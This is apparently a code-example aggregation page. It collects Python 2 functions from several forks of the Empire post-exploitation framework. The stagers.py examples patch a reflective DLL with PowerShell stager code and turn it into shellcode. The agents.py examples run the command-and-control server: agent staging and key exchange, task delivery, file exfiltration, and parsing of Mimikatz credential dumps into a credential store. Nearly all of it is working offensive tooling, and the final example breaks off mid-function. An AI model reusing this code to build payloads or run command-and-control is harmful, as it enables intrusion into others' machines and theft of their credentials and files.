예제 #1
0
    def generate_dll(self, poshCode, arch):
        """
        Generate a PowerPick Reflective DLL to inject with base64-encoded
        stager code.
        """

        #read in original DLL and patch the bytes based on arch
        if arch.lower() == "x86":
            origPath = self.installPath + "/data/misc/ReflectivePick_x86_orig.dll"
        else:
            origPath = self.installPath + "/data/misc/ReflectivePick_x64_orig.dll"

        if os.path.isfile(origPath):

            dllRaw = ''
            with open(origPath, 'rb') as f:
                dllRaw = f.read()

                replacementCode = helpers.decode_base64(poshCode)

                # patch the dll with the new PowerShell code
                searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
                index = dllRaw.find(searchString)
                dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):]

                return dllPatched

        else:
            print helpers.color("[!] Original .dll for arch "+arch+" does not exist!")
예제 #2
0
파일: stagers.py 프로젝트: 0xe7/Empire
    def generate_dll(self, poshCode, arch):
        """
        Generate a PowerPick Reflective DLL to inject with base64-encoded stager code.
        """

        #read in original DLL and patch the bytes based on arch
        if arch.lower() == 'x86':
            origPath = "%s/data/misc/ReflectivePick_x86_orig.dll" % (self.mainMenu.installPath)
        else:
            origPath = "%s/data/misc/ReflectivePick_x64_orig.dll" % (self.mainMenu.installPath)

        if os.path.isfile(origPath):

            dllRaw = ''
            with open(origPath, 'rb') as f:
                dllRaw = f.read()

                replacementCode = helpers.decode_base64(poshCode)

                # patch the dll with the new PowerShell code
                searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
                index = dllRaw.find(searchString)
                dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):]

                return dllPatched

        else:
            print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
예제 #3
0
파일: stagers.py 프로젝트: 0xe7/Empire
    def generate_shellcode(self, poshCode, arch):
        """
        Generate shellcode using monogas's sRDI python module and the PowerPick reflective DLL
        """
        if arch.lower() == 'x86':
            origPath = "{}/data/misc/x86_slim.dll".format(self.mainMenu.installPath)
        else:
            origPath = "{}/data/misc/x64_slim.dll".format(self.mainMenu.installPath)

        if os.path.isfile(origPath):

            dllRaw = ''
            with open(origPath, 'rb') as f:
                dllRaw = f.read() 

                replacementCode = helpers.decode_base64(poshCode)

                # patch the dll with the new PowerShell code
                searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
                index = dllRaw.find(searchString)
                dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):]

                flags = 0
                flags |= 0x1
                
                sc = ConvertToShellcode(dllPatched)

                return sc 
        
        else:
            print helpers.color("[!] Original .dll for arch {} does not exist!".format(arch))
예제 #4
0
파일: stagers.py 프로젝트: Cx01N/DEFCON27
    def generate_shellcode(self, poshCode, arch):
        """
        Generate shellcode using monogas's sRDI python module and the PowerPick reflective DLL
        """
        if arch.lower() == 'x86':
            origPath = "{}/data/misc/x86_slim.dll".format(
                self.mainMenu.installPath)
        else:
            origPath = "{}/data/misc/x64_slim.dll".format(
                self.mainMenu.installPath)

        if os.path.isfile(origPath):

            dllRaw = ''
            with open(origPath, 'rb') as f:
                dllRaw = f.read()

                replacementCode = helpers.decode_base64(poshCode)

                # patch the dll with the new PowerShell code
                searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
                index = dllRaw.find(searchString)
                dllPatched = dllRaw[:index] + replacementCode + dllRaw[
                    (index + len(replacementCode)):]

                flags = 0
                flags |= 0x1

                sc = ConvertToShellcode(dllPatched)

                return sc

        else:
            print helpers.color(
                "[!] Original .dll for arch {} does not exist!".format(arch))
예제 #5
0
파일: agents.py 프로젝트: regul8/Empire
    def handle_agent_response(self, sessionID, responseName, data):
        """
        Handle the result packet based on sessionID and responseName.
        """

        agentSessionID = sessionID
        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_name(sessionID)
        if nameid : sessionID = nameid

        # report the agent result in the reporting database
        cur = self.conn.cursor()
        cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentSessionID,"result",responseName,helpers.get_datetime()))
        cur.close()


        # TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
        #       so this logic is skipped

        if responseName == "ERROR":
            # error code
            dispatcher.send("[!] Received error response from " + str(sessionID), sender="Agents")
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, "[!] Error response: " + data)


        elif responseName == "TASK_SYSINFO":
            # sys info response -> update the host info
            parts = data.split("|")
            if len(parts) < 10:
                dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender="Agents")
            else:
                # extract appropriate system information
                listener = parts[0].encode('ascii','ignore')
                domainname = parts[1].encode('ascii','ignore')
                username = parts[2].encode('ascii','ignore')
                hostname = parts[3].encode('ascii','ignore')
                internal_ip = parts[4].encode('ascii','ignore')
                os_details = parts[5].encode('ascii','ignore')
                high_integrity = parts[6].encode('ascii','ignore')
                process_name = parts[7].encode('ascii','ignore')
                process_id = parts[8].encode('ascii','ignore')
                ps_version = parts[9].encode('ascii','ignore')
                
                if high_integrity == "True":
                    high_integrity = 1
                else:
                    high_integrity = 0

                username = str(domainname)+"\\"+str(username)

                # update the agent with this new information
                self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity,process_name=process_name, process_id=process_id, ps_version=ps_version)

                sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
                sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
                sysinfo += '{0: <18}'.format("Username:"******"\n"
                sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n"
                sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
                sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
                sysinfo += '{0: <18}'.format("Process Name:") + process_name + "\n"
                sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n"
                sysinfo += '{0: <18}'.format("PSVersion:") + ps_version

                self.update_agent_results(sessionID, sysinfo)
                # update the agent log
                self.save_agent_log(sessionID, sysinfo)


        elif responseName == "TASK_EXIT":
            # exit command response
            
            # let everyone know this agent exited
            dispatcher.send(data, sender="Agents")

            # update the agent results and log
            # self.update_agent_results(sessionID, data)
            self.save_agent_log(sessionID, data)     

            # remove this agent from the cache/database
            self.remove_agent(sessionID)


        elif responseName == "TASK_SHELL":
            # shell command response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_DOWNLOAD":
            # file download
            parts = data.split("|")
            if len(parts) != 3:
                dispatcher.send("[!] Received invalid file download response from " + sessionID, sender="Agents")
            else:
                index, path, data = parts
                # decode the file data and save it off as appropriate
                fileData = helpers.decode_base64(data)
                name = self.get_agent_name(sessionID)

                if index == "0":
                    self.save_file(name, path, fileData)
                else:
                    self.save_file(name, path, fileData, append=True)
                # update the agent log
                msg = "file download: " + str(path) + ", part: " + str(index)
                self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_UPLOAD": pass


        elif responseName == "TASK_GETJOBS":
            
            if not data or data.strip().strip() == "":
                data = "[*] No active jobs"

            # running jobs
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_STOPJOB":
            # job kill response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_CMD_WAIT":

            # dynamic script output -> blocking
            self.update_agent_results(sessionID, data)

            # see if there are any credentials to parse
            time = helpers.get_datetime()
            creds = helpers.parse_credentials(data)

            if(creds):
                for cred in creds:

                    hostname = cred[4]
                    
                    if hostname == "":
                        hostname = self.get_agent_hostname(sessionID)

                    self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time)

            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_CMD_WAIT_SAVE":
            # dynamic script output -> blocking, save data
            name = self.get_agent_name(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            fileData = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension
            finalSavePath = self.save_module_file(name, savePath, fileData)

            # update the agent log
            msg = "Output saved to ." + finalSavePath
            self.update_agent_results(sessionID, msg)
            self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_CMD_JOB":

            # dynamic script output -> non-blocking
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)
            
            # TODO: redo this regex for really large AD dumps
            #   so a ton of data isn't kept in memory...?
            parts = data.split("\n")
            if len(parts) > 10:
                time = helpers.get_datetime()
                if parts[0].startswith("Hostname:"):
                    # if we get Invoke-Mimikatz output, try to parse it and add
                    #   it to the internal credential store

                    # cred format: (credType, domain, username, password, hostname, sid, notes)
                    creds = helpers.parse_mimikatz(data)

                    for cred in creds:
                        hostname = cred[4]
                        
                        if hostname == "":
                            hostname = self.get_agent_hostname(sessionID)

                        self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time)


        elif responseName == "TASK_CMD_JOB_SAVE":
            # dynamic script output -> non-blocking, save data
            name = self.get_agent_name(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            fileData = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension
            finalSavePath = self.save_module_file(name, savePath, fileData)

            # update the agent log
            msg = "Output saved to ." + finalSavePath
            self.update_agent_results(sessionID, msg)
            self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_SCRIPT_IMPORT":
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_SCRIPT_COMMAND":
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        else:
            print helpers.color("[!] Unknown response " + str(responseName) + " from " +str(sessionID))
예제 #6
0
파일: agents.py 프로젝트: regul8/Empire
    def process_post(self, port, clientIP, sessionID, resource, postData):
        """
        Process a POST request.
        """

        # check to make sure this IP is allowed
        if not self.is_ip_allowed(clientIP):
            dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents")
            return (200, http.default_page())

        # check if requested resource in is session URIs for any agent profiles in the database
        if (self.is_uri_present(resource)):

            # if the sessionID doesn't exist in the database
            if not self.is_agent_present(sessionID):

                # alert everyone to an irregularity
                dispatcher.send("[!] Agent "+str(sessionID)+" posted results but isn't in the database!", sender="Agents")
                return (404, "")

            # if the ID is currently in the database, process the results
            else:

                # extract the agent's session key
                sessionKey = self.agents[sessionID][0]

                try:
                    # verify, decrypt and depad the packet
                    packet = encryption.aes_decrypt_and_verify(sessionKey, postData)

                    # update the client's last seen time
                    self.update_agent_lastseen(sessionID)

                    # process the packet and extract necessary data
                    #   [(responseName, counter, length, data), ...]
                    responsePackets = packets.parse_result_packets(packet)

                    counter = responsePackets[-1][1]

                    # validate the counter in the packet in the setcode.replace
                    if counter and packets.validate_counter(counter):
                        
                        for responsePacket in responsePackets:
                            (responseName, counter, length, data) = responsePacket
                            # process the agent's response
                            self.handle_agent_response(sessionID, responseName, data)

                        # signal that this agent returned results
                        name = self.get_agent_name(sessionID)
                        dispatcher.send("[*] Agent "+str(name)+" returned results.", sender="Agents")

                        # return a 200/valid
                        return (200, "")

                    else:
                        dispatcher.send("[!] Invalid counter value from "+str(sessionID), sender="Agents")
                        return (404, "")

                except Exception as e:
                    dispatcher.send("[!] Error processing result packet from "+str(sessionID), sender="Agents")
                    return (404, "")


        # step 3 of negotiation -> client posts public key
        elif resource.lstrip("/").split("?")[0] == self.stage1:

            if self.args and self.args.debug:
                dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")

            # get the staging key for the given listener, keyed by port
            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
            stagingKey = self.listeners.get_staging_information(port=port)[3]

            # decrypt the agent's public key
            message = encryption.aes_decrypt(stagingKey, postData)

            # strip non-printable characters
            message = ''.join(filter(lambda x:x in string.printable, message))

            # client posts RSA key
            if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
                dispatcher.send("[!] Invalid key post format from "+str(sessionID), sender="Agents")
            else:
                # convert the RSA key from the stupid PowerShell export format
                rsaKey = encryption.rsa_xml_to_key(message)

                if(rsaKey):

                    if self.args and self.args.debug:
                        dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted valid RSA key", sender="Agents")

                    # get the epoch time to send to the client
                    epoch = packets.get_counter()

                    # get the staging key for the given listener, keyed by port
                    #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit
                    config = self.listeners.get_staging_information(port=port)
                    delay = config[4]
                    jitter = config[5]
                    profile = config[6]
                    killDate = config[7]
                    workingHours = config[8]
                    lostLimit = config[11]

                    # add the agent to the database now that it's "checked in"
                    self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,lostLimit)

                    # step 4 of negotiation -> return epoch+aes_session_key
                    clientSessionKey = self.get_agent_session_key(sessionID)
                    data = str(epoch)+clientSessionKey
                    data = data.encode('ascii','ignore')

                    encryptedMsg = encryption.rsa_encrypt(rsaKey, data)

                    # return a 200/valid and encrypted stage to the agent
                    return (200, encryptedMsg)

                else:
                    dispatcher.send("[!] Agent "+str(sessionID)+" returned an invalid public key!", sender="Agents")
                    return (404, "")


        # step 5 of negotiation -> client posts sysinfo and requests agent
        elif resource.lstrip("/").split("?")[0] == self.stage2:

            if self.is_agent_present(sessionID):

                # if this is a hop.php relay
                if "?" in resource:
                    parts = resource.split("?")
                    if len(parts) == 2:
                        decoded = helpers.decode_base64(parts[1])

                        # get the staging key for the given listener, keyed by port
                        #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit 
                        config = self.listeners.get_staging_information(host=decoded)

                else:
                    config = self.listeners.get_staging_information(port=port)
                
                delay = config[4]
                jitter = config[5]
                profile = config[6]
                killDate = config[7]
                workingHours = config[8]
                lostLimit = config[11]

                # get the session key for the agent
                sessionKey = self.agents[sessionID][0]

                try:
                    # decrypt and parse the agent's sysinfo checkin
                    data = encryption.aes_decrypt(sessionKey, postData)

                    parts = data.split("|")

                    if len(parts) < 10:
                        dispatcher.send("[!] Agent "+str(sessionID)+" posted invalid sysinfo checkin format", sender="Agents")
                        # remove the agent from the cache/database
                        self.remove_agent(sessionID)
                        return (404, "")

                    listener = parts[0].encode('ascii','ignore')
                    domainname = parts[1].encode('ascii','ignore')
                    username = parts[2].encode('ascii','ignore')
                    hostname = parts[3].encode('ascii','ignore')
                    external_ip = clientIP.encode('ascii','ignore')
                    internal_ip = parts[4].encode('ascii','ignore')
                    os_details = parts[5].encode('ascii','ignore')
                    high_integrity = parts[6].encode('ascii','ignore')
                    process_name = parts[7].encode('ascii','ignore')
                    process_id = parts[8].encode('ascii','ignore')
                    ps_version = parts[9].encode('ascii','ignore')

                    if high_integrity == "True":
                        high_integrity = 1
                    else:
                        high_integrity = 0

                except:
                    # remove the agent from the cache/database
                    self.remove_agent(sessionID)
                    return (404, "")                    

                # let everyone know an agent got stage2
                if self.args and self.args.debug:
                    dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")

                # step 6 of negotiation -> server sends patched agent.ps1
                agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,lostLimit)

                username = str(domainname)+"\\"+str(username)

                # update the agent with this new information
                self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, ps_version=ps_version)

                # encrypt the agent and send it back
                encryptedAgent = encryption.aes_encrypt(sessionKey, agentCode)

                # signal everyone that this agent is now active
                dispatcher.send("[+] Initial agent "+str(sessionID)+" from "+str(clientIP) + " now active", sender="Agents")
                output =  "[+] Agent " + str(sessionID) + " now active:\n"

                # set basic initial information to display for the agent
                agent = self.mainMenu.agents.get_agent(sessionID)

                keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"]

                agentInfo = dict(zip(keys, agent))

                for key in agentInfo:
                    if key != "functions":
                        output += "  %s\t%s\n" % ('{0: <16}'.format(key), messages.wrap_string(agentInfo[key], width=70))

                # save the initial sysinfo information in the agent log
                self.save_agent_log(sessionID, output + "\n")

                return(200, encryptedAgent)

            else:
                dispatcher.send("[!] Agent "+str(sessionID)+" posted sysinfo without initial checkin", sender="Agents")
                return (404, "")

        # default behavior, 404
        else:
            return (404, "")
예제 #7
0
파일: agents.py 프로젝트: regul8/Empire
    def process_get(self, port, clientIP, sessionID, resource):
        """
        Process a GET request.
        """

        # check to make sure this IP is allowed
        if not self.is_ip_allowed(clientIP):
            dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents")
            return (200, http.default_page())

        # see if the requested resource is in our valid task URI list
        if (self.is_uri_present(resource)):

            # if no session ID was supplied
            if not sessionID or sessionID == "":
                dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with no session ID.", sender="Agents")
                # return a 404 error code and no resource
                return (404, "")

            # if the sessionID doesn't exist in the cache
            # TODO: put this code before the URI present? ...
            if not self.is_agent_present(sessionID):
                dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with invalid session ID.", sender="Agents")
                return (404, "")

            # if the ID is currently in the cache, see if there's tasking for the agent
            else:
                
                # update the client's last seen time
                self.update_agent_lastseen(sessionID)

                # retrieve all agent taskings from the cache
                taskings = self.get_agent_tasks(sessionID)

                if taskings and taskings != []:

                    allTaskPackets = ""

                    # build tasking packets for everything we have
                    for tasking in taskings:
                        taskName, taskData = tasking
                        
                        # if there is tasking, build a tasking packet
                        taskPacket = packets.build_task_packet(taskName, taskData)
                        
                        allTaskPackets += taskPacket

                    # get the session key for the agent
                    sessionKey = self.agents[sessionID][0]

                    # encrypt the tasking packets with the agent's session key
                    encryptedData = encryption.aes_encrypt_then_mac(sessionKey, allTaskPackets)

                    return (200, encryptedData)

                # if no tasking for the agent
                else:
                    # just return the default page
                    return (200, http.default_page())

        # step 1 of negotiation -> client requests stage1 (stager.ps1)
        elif resource.lstrip("/").split("?")[0] == self.stage0:
            # return 200/valid and the initial stage code

            if self.args and self.args.debug:
                dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")

            # get the staging information for the given listener, keyed by port
            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit
            config = self.listeners.get_staging_information(port=port)
            host = config[0]
            stagingkey = config[3]
            profile = config[6]
            stage = None

            # if we have a pivot or hop listener, use that config information instead for the stager
            if "?" in resource:
                parts = resource.split("?")
                if len(parts) == 2:
                    decoded = helpers.decode_base64(parts[1])

                    # http://server:port for a pivot listener
                    if decoded.count("/") == 2:
                        host = decoded
                    else:
                        # otherwise we have a http://server:port/hop.php listener
                        stage = self.stagers.generate_stager_hop(decoded, stagingkey, profile)

            if not stage:
                # generate the stage with appropriately patched information
                stage = self.stagers.generate_stager(host, stagingkey)

            # step 2 of negotiation -> return stager.ps1 (stage 1)
            return (200, stage)

        # default response
        else:
            # otherwise return the default page
            return (200, http.default_page())
예제 #8
0
파일: agents.py 프로젝트: lotus321/tools
    def handle_agent_response(self, sessionID, responseName, data):
        """
        Handle the result packet based on sessionID and responseName.
        """

        agentSessionID = sessionID
        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_name(sessionID)
        if nameid : sessionID = nameid

        # report the agent result in the reporting database
        cur = self.conn.cursor()
        cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentSessionID,"result",responseName,helpers.get_datetime()))
        cur.close()


        # TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
        #       so this logic is skipped

        if responseName == "ERROR":
            # error code
            dispatcher.send("[!] Received error response from " + str(sessionID), sender="Agents")
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, "[!] Error response: " + data)


        elif responseName == "TASK_SYSINFO":
            # sys info response -> update the host info
            parts = data.split("|")
            if len(parts) < 10:
                dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender="Agents")
            else:
                # extract appropriate system information
                listener = parts[0].encode('ascii','ignore')
                domainname = parts[1].encode('ascii','ignore')
                username = parts[2].encode('ascii','ignore')
                hostname = parts[3].encode('ascii','ignore')
                internal_ip = parts[4].encode('ascii','ignore')
                os_details = parts[5].encode('ascii','ignore')
                high_integrity = parts[6].encode('ascii','ignore')
                process_name = parts[7].encode('ascii','ignore')
                process_id = parts[8].encode('ascii','ignore')
                ps_version = parts[9].encode('ascii','ignore')
                
                if high_integrity == "True":
                    high_integrity = 1
                else:
                    high_integrity = 0

                username = str(domainname)+"\\"+str(username)

                # update the agent with this new information
                self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity,process_name=process_name, process_id=process_id, ps_version=ps_version)

                sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
                sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
                sysinfo += '{0: <18}'.format("Username:"******"\n"
                sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n"
                sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
                sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
                sysinfo += '{0: <18}'.format("Process Name:") + process_name + "\n"
                sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n"
                sysinfo += '{0: <18}'.format("PSVersion:") + ps_version

                self.update_agent_results(sessionID, sysinfo)
                # update the agent log
                self.save_agent_log(sessionID, sysinfo)


        elif responseName == "TASK_EXIT":
            # exit command response
            
            # let everyone know this agent exited
            dispatcher.send(data, sender="Agents")

            # update the agent results and log
            # self.update_agent_results(sessionID, data)
            self.save_agent_log(sessionID, data)     

            # remove this agent from the cache/database
            self.remove_agent(sessionID)


        elif responseName == "TASK_SHELL":
            # shell command response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_DOWNLOAD":
            # file download
            parts = data.split("|")
            if len(parts) != 3:
                dispatcher.send("[!] Received invalid file download response from " + sessionID, sender="Agents")
            else:
                index, path, data = parts
                # decode the file data and save it off as appropriate
                fileData = helpers.decode_base64(data)
                name = self.get_agent_name(sessionID)

                if index == "0":
                    self.save_file(name, path, fileData)
                else:
                    self.save_file(name, path, fileData, append=True)
                # update the agent log
                msg = "file download: " + str(path) + ", part: " + str(index)
                self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_UPLOAD": pass


        elif responseName == "TASK_GETJOBS":
            
            if not data or data.strip().strip() == "":
                data = "[*] No active jobs"

            # running jobs
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_STOPJOB":
            # job kill response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_CMD_WAIT":

            # dynamic script output -> blocking
            self.update_agent_results(sessionID, data)

            # see if there are any credentials to parse
            time = helpers.get_datetime()
            creds = helpers.parse_credentials(data)

            if(creds):
                for cred in creds:

                    hostname = cred[4]
                    
                    if hostname == "":
                        hostname = self.get_agent_hostname(sessionID)

                    self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time)

            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_CMD_WAIT_SAVE":
            # dynamic script output -> blocking, save data
            name = self.get_agent_name(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            fileData = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension
            finalSavePath = self.save_module_file(name, savePath, fileData)

            # update the agent log
            msg = "Output saved to ." + finalSavePath
            self.update_agent_results(sessionID, msg)
            self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_CMD_JOB":

            # dynamic script output -> non-blocking
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)
            
            # TODO: redo this regex for really large AD dumps
            #   so a ton of data isn't kept in memory...?
            parts = data.split("\n")
            if len(parts) > 10:
                time = helpers.get_datetime()
                if parts[0].startswith("Hostname:"):
                    # if we get Invoke-Mimikatz output, try to parse it and add
                    #   it to the internal credential store

                    # cred format: (credType, domain, username, password, hostname, sid, notes)
                    creds = helpers.parse_mimikatz(data)

                    for cred in creds:
                        hostname = cred[4]
                        
                        if hostname == "":
                            hostname = self.get_agent_hostname(sessionID)

                        self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time)


        elif responseName == "TASK_CMD_JOB_SAVE":
            # dynamic script output -> non-blocking, save data
            name = self.get_agent_name(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            fileData = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension
            finalSavePath = self.save_module_file(name, savePath, fileData)

            # update the agent log
            msg = "Output saved to ." + finalSavePath
            self.update_agent_results(sessionID, msg)
            self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_SCRIPT_IMPORT":
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_SCRIPT_COMMAND":
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        else:
            print helpers.color("[!] Unknown response " + str(responseName) + " from " +str(sessionID))
예제 #9
0
파일: agents.py 프로젝트: lotus321/tools
    def process_post(self, port, clientIP, sessionID, resource, postData):
        """
        Process a POST request.
        """

        # check to make sure this IP is allowed
        if not self.is_ip_allowed(clientIP):
            dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents")
            return (200, http.default_page())

        # check if requested resource in is session URIs for any agent profiles in the database
        if (self.is_uri_present(resource)):

            # if the sessionID doesn't exist in the database
            if not self.is_agent_present(sessionID):

                # alert everyone to an irregularity
                dispatcher.send("[!] Agent "+str(sessionID)+" posted results but isn't in the database!", sender="Agents")
                return (404, "")

            # if the ID is currently in the database, process the results
            else:

                # extract the agent's session key
                sessionKey = self.agents[sessionID][0]

                try:
                    # verify, decrypt and depad the packet
                    packet = encryption.aes_decrypt_and_verify(sessionKey, postData)

                    # update the client's last seen time
                    self.update_agent_lastseen(sessionID)

                    # process the packet and extract necessary data
                    #   [(responseName, counter, length, data), ...]
                    responsePackets = packets.parse_result_packets(packet)

                    counter = responsePackets[-1][1]

                    # validate the counter in the packet in the setcode.replace
                    if counter and packets.validate_counter(counter):
                        
                        for responsePacket in responsePackets:
                            (responseName, counter, length, data) = responsePacket
                            # process the agent's response
                            self.handle_agent_response(sessionID, responseName, data)

                        # signal that this agent returned results
                        name = self.get_agent_name(sessionID)
                        dispatcher.send("[*] Agent "+str(name)+" returned results.", sender="Agents")

                        # return a 200/valid
                        return (200, "")

                    else:
                        dispatcher.send("[!] Invalid counter value from "+str(sessionID), sender="Agents")
                        return (404, "")

                except Exception as e:
                    dispatcher.send("[!] Error processing result packet from "+str(sessionID), sender="Agents")
                    return (404, "")


        # step 3 of negotiation -> client posts public key
        elif resource.lstrip("/").split("?")[0] == self.stage1:

            if self.args and self.args.debug:
                dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")

            # get the staging key for the given listener, keyed by port
            #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
            stagingKey = self.listeners.get_staging_information(port=port)[3]

            # decrypt the agent's public key
            message = encryption.aes_decrypt(stagingKey, postData)

            # strip non-printable characters
            message = ''.join(filter(lambda x:x in string.printable, message))

            # client posts RSA key
            if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
                dispatcher.send("[!] Invalid key post format from "+str(sessionID), sender="Agents")
            else:
                # convert the RSA key from the stupid PowerShell export format
                rsaKey = encryption.rsa_xml_to_key(message)

                if(rsaKey):

                    if self.args and self.args.debug:
                        dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted valid RSA key", sender="Agents")

                    # get the epoch time to send to the client
                    epoch = packets.get_counter()

                    # get the staging key for the given listener, keyed by port
                    #   results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit
                    config = self.listeners.get_staging_information(port=port)
                    delay = config[4]
                    jitter = config[5]
                    profile = config[6]
                    killDate = config[7]
                    workingHours = config[8]
                    lostLimit = config[11]

                    # add the agent to the database now that it's "checked in"
                    self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,lostLimit)

                    # step 4 of negotiation -> return epoch+aes_session_key
                    clientSessionKey = self.get_agent_session_key(sessionID)
                    data = str(epoch)+clientSessionKey
                    data = data.encode('ascii','ignore')

                    encryptedMsg = encryption.rsa_encrypt(rsaKey, data)

                    # return a 200/valid and encrypted stage to the agent
                    return (200, encryptedMsg)

                else:
